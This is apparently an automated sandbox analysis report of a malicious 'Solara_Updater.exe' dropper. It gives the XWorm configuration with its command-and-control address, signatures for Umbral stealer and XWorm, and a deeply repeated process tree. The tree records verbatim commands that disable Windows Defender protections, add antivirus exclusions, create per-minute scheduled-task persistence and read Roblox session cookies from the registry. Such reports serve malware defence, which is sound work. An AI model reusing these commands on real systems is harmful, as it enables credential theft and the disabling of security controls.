Analysis
-
max time kernel
141s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
-
submitted
19-05-2024 16:17
General
-
Target
Solara_Updater.exe
-
Size
1.9MB
-
MD5
f4cffd7e6cca2b88bba1f19120e9255f
-
SHA1
28df62794d325206d1f61a400b5c5c682632e371
-
SHA256
4a10203f9773e4a4f5173a3d1840461bed2b6c206e16b47543bb127a541192bf
-
SHA512
cb71ef2db087c012744fcac05033cab80947131029ae9bf59b57f85dd2f819e859f105919978a2af4334ac4b8f5b060f5f757b6898cb8fddd720a114b652bfe8
-
SSDEEP
49152:mH4Y2d/Pz0dB5h1qeU2V0ZBsvH1jBOtGQt/3c5DGqHQX+icSr:mH/QPz0d/pV0AvHLDh5HH4+i
Score
10/10
Malware Config
Extracted
Family
xworm
C2
answer-riverside.gl.at.ply.gg:45691
Attributes
-
Install_directory
%AppData%
-
install_file
svhost.exe
Signatures
-
Detect Umbral payload 2 IoCs
-
Detect Xworm Payload 2 IoCs
-
Modifies WinLogon for persistence 2 TTPs 6 IoCs
-
Process spawned unexpected child process 18 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Umbral
Umbral stealer is an opensource moduler stealer written in C#.
-
Xworm
Xworm is a remote access trojan written in C#.
-
Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
-
Drops file in Drivers directory 4 IoCs
-
Checks computer location settings 2 TTPs 64 IoCs
Looks up country code configured in the registry, likely geofence.
-
Drops startup file 2 IoCs
-
Executes dropped EXE 64 IoCs
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Adds Run key to start application 2 TTPs 13 IoCs
-
Looks up external IP address via web service 10 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Drops file in System32 directory 2 IoCs
-
Drops file in Program Files directory 9 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Creates scheduled task(s) 1 TTPs 19 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Detects videocard installed 1 TTPs 5 IoCs
Uses WMIC.exe to determine videocard installed.
-
Modifies registry class 61 IoCs
-
Runs ping.exe 1 TTPs 5 IoCs
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
-
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Views/modifies file attributes 1 TTPs 6 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\XClient.exe"C:\Users\Admin\AppData\Local\Temp\XClient.exe"3⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\XClient.exe'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\svhost.exe'4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svhost.exe'4⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\svhost.exe"4⤵
- Creates scheduled task(s)
-
-
-
C:\Users\Admin\AppData\Local\Temp\RustCheat.exe"C:\Users\Admin\AppData\Local\Temp\RustCheat.exe"3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid4⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\RustCheat.exe"4⤵
- Views/modifies file attributes
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\RustCheat.exe'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 24⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY4⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY4⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption4⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory4⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid4⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER4⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name4⤵
- Detects videocard installed
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\RustCheat.exe" && pause4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
C:\Windows\system32\PING.EXEping localhost5⤵
- Runs ping.exe
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\sol.exe"C:\Users\Admin\AppData\Local\Temp\sol.exe"2⤵
- Executes dropped EXE
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"3⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "4⤵
-
C:\hostNet\bridgeblockportComBroker.exe"C:\hostNet/bridgeblockportComBroker.exe"5⤵
- Modifies WinLogon for persistence
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Program Files directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\uebwiqjt\uebwiqjt.cmdline"6⤵
- Drops file in System32 directory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESBE5E.tmp" "c:\Windows\System32\CSC93C90806FB514432A36F17AE50B0903A.TMP"7⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\hOtBySwOfr.bat"6⤵
-
C:\Windows\system32\chcp.comchcp 650017⤵
-
-
C:\Windows\system32\w32tm.exew32tm /stripchart /computer:localhost /period:5 /dataonly /samples:27⤵
-
-
C:\Program Files (x86)\Microsoft\conhost.exe"C:\Program Files (x86)\Microsoft\conhost.exe"7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\sol.exe"C:\Users\Admin\AppData\Local\Temp\sol.exe"3⤵
- Executes dropped EXE
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "5⤵
-
C:\hostNet\bridgeblockportComBroker.exe"C:\hostNet/bridgeblockportComBroker.exe"6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"4⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\sol.exe"C:\Users\Admin\AppData\Local\Temp\sol.exe"4⤵
- Executes dropped EXE
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"5⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "6⤵
-
C:\hostNet\bridgeblockportComBroker.exe"C:\hostNet/bridgeblockportComBroker.exe"7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"4⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"5⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\sol.exe"C:\Users\Admin\AppData\Local\Temp\sol.exe"5⤵
- Executes dropped EXE
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"6⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "7⤵
-
C:\hostNet\bridgeblockportComBroker.exe"C:\hostNet/bridgeblockportComBroker.exe"8⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"5⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"6⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\sol.exe"C:\Users\Admin\AppData\Local\Temp\sol.exe"6⤵
- Executes dropped EXE
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"7⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "8⤵
-
C:\hostNet\bridgeblockportComBroker.exe"C:\hostNet/bridgeblockportComBroker.exe"9⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"6⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"7⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\sol.exe"C:\Users\Admin\AppData\Local\Temp\sol.exe"7⤵
- Executes dropped EXE
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"8⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "9⤵
-
C:\hostNet\bridgeblockportComBroker.exe"C:\hostNet/bridgeblockportComBroker.exe"10⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"7⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"8⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\sol.exe"C:\Users\Admin\AppData\Local\Temp\sol.exe"8⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"9⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "10⤵
-
C:\hostNet\bridgeblockportComBroker.exe"C:\hostNet/bridgeblockportComBroker.exe"11⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"8⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"9⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\sol.exe"C:\Users\Admin\AppData\Local\Temp\sol.exe"9⤵
- Executes dropped EXE
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"10⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "11⤵
-
C:\hostNet\bridgeblockportComBroker.exe"C:\hostNet/bridgeblockportComBroker.exe"12⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"9⤵
-
C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"10⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\sol.exe"C:\Users\Admin\AppData\Local\Temp\sol.exe"10⤵
- Executes dropped EXE
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"11⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "12⤵
-
C:\hostNet\bridgeblockportComBroker.exe"C:\hostNet/bridgeblockportComBroker.exe"13⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"10⤵
-
C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"11⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\sol.exe"C:\Users\Admin\AppData\Local\Temp\sol.exe"11⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"12⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "13⤵
-
C:\hostNet\bridgeblockportComBroker.exe"C:\hostNet/bridgeblockportComBroker.exe"14⤵
- Executes dropped EXE
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"11⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"12⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\XClient.exe"C:\Users\Admin\AppData\Local\Temp\XClient.exe"13⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\RustCheat.exe"C:\Users\Admin\AppData\Local\Temp\RustCheat.exe"13⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\sol.exe"C:\Users\Admin\AppData\Local\Temp\sol.exe"12⤵
- Executes dropped EXE
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"13⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "14⤵
-
C:\hostNet\bridgeblockportComBroker.exe"C:\hostNet/bridgeblockportComBroker.exe"15⤵
- Executes dropped EXE
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"12⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"13⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\sol.exe"C:\Users\Admin\AppData\Local\Temp\sol.exe"13⤵
- Executes dropped EXE
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"14⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "15⤵
-
C:\hostNet\bridgeblockportComBroker.exe"C:\hostNet/bridgeblockportComBroker.exe"16⤵
- Executes dropped EXE
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"13⤵
-
C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"14⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\sol.exe"C:\Users\Admin\AppData\Local\Temp\sol.exe"14⤵
- Executes dropped EXE
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"15⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "16⤵
-
C:\hostNet\bridgeblockportComBroker.exe"C:\hostNet/bridgeblockportComBroker.exe"17⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"14⤵
-
C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"15⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\sol.exe"C:\Users\Admin\AppData\Local\Temp\sol.exe"15⤵
- Executes dropped EXE
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"16⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "17⤵
-
C:\hostNet\bridgeblockportComBroker.exe"C:\hostNet/bridgeblockportComBroker.exe"18⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"15⤵
-
C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"16⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\sol.exe"C:\Users\Admin\AppData\Local\Temp\sol.exe"16⤵
- Executes dropped EXE
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"17⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "18⤵
-
C:\hostNet\bridgeblockportComBroker.exe"C:\hostNet/bridgeblockportComBroker.exe"19⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"16⤵
-
C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"17⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\sol.exe"C:\Users\Admin\AppData\Local\Temp\sol.exe"17⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"18⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "19⤵
-
C:\hostNet\bridgeblockportComBroker.exe"C:\hostNet/bridgeblockportComBroker.exe"20⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"17⤵
-
C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"18⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\sol.exe"C:\Users\Admin\AppData\Local\Temp\sol.exe"18⤵
- Executes dropped EXE
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"19⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "20⤵
-
C:\hostNet\bridgeblockportComBroker.exe"C:\hostNet/bridgeblockportComBroker.exe"21⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"18⤵
-
C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"19⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\sol.exe"C:\Users\Admin\AppData\Local\Temp\sol.exe"19⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"20⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "21⤵
-
C:\hostNet\bridgeblockportComBroker.exe"C:\hostNet/bridgeblockportComBroker.exe"22⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"19⤵
-
C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"20⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\sol.exe"C:\Users\Admin\AppData\Local\Temp\sol.exe"20⤵
- Executes dropped EXE
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"21⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "22⤵
-
C:\hostNet\bridgeblockportComBroker.exe"C:\hostNet/bridgeblockportComBroker.exe"23⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"20⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"21⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\XClient.exe"C:\Users\Admin\AppData\Local\Temp\XClient.exe"22⤵
-
-
C:\Users\Admin\AppData\Local\Temp\RustCheat.exe"C:\Users\Admin\AppData\Local\Temp\RustCheat.exe"22⤵
- Drops file in Drivers directory
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid23⤵
-
-
C:\Windows\SYSTEM32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\RustCheat.exe"23⤵
- Views/modifies file attributes
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\RustCheat.exe'23⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 223⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY23⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY23⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption23⤵
-
-
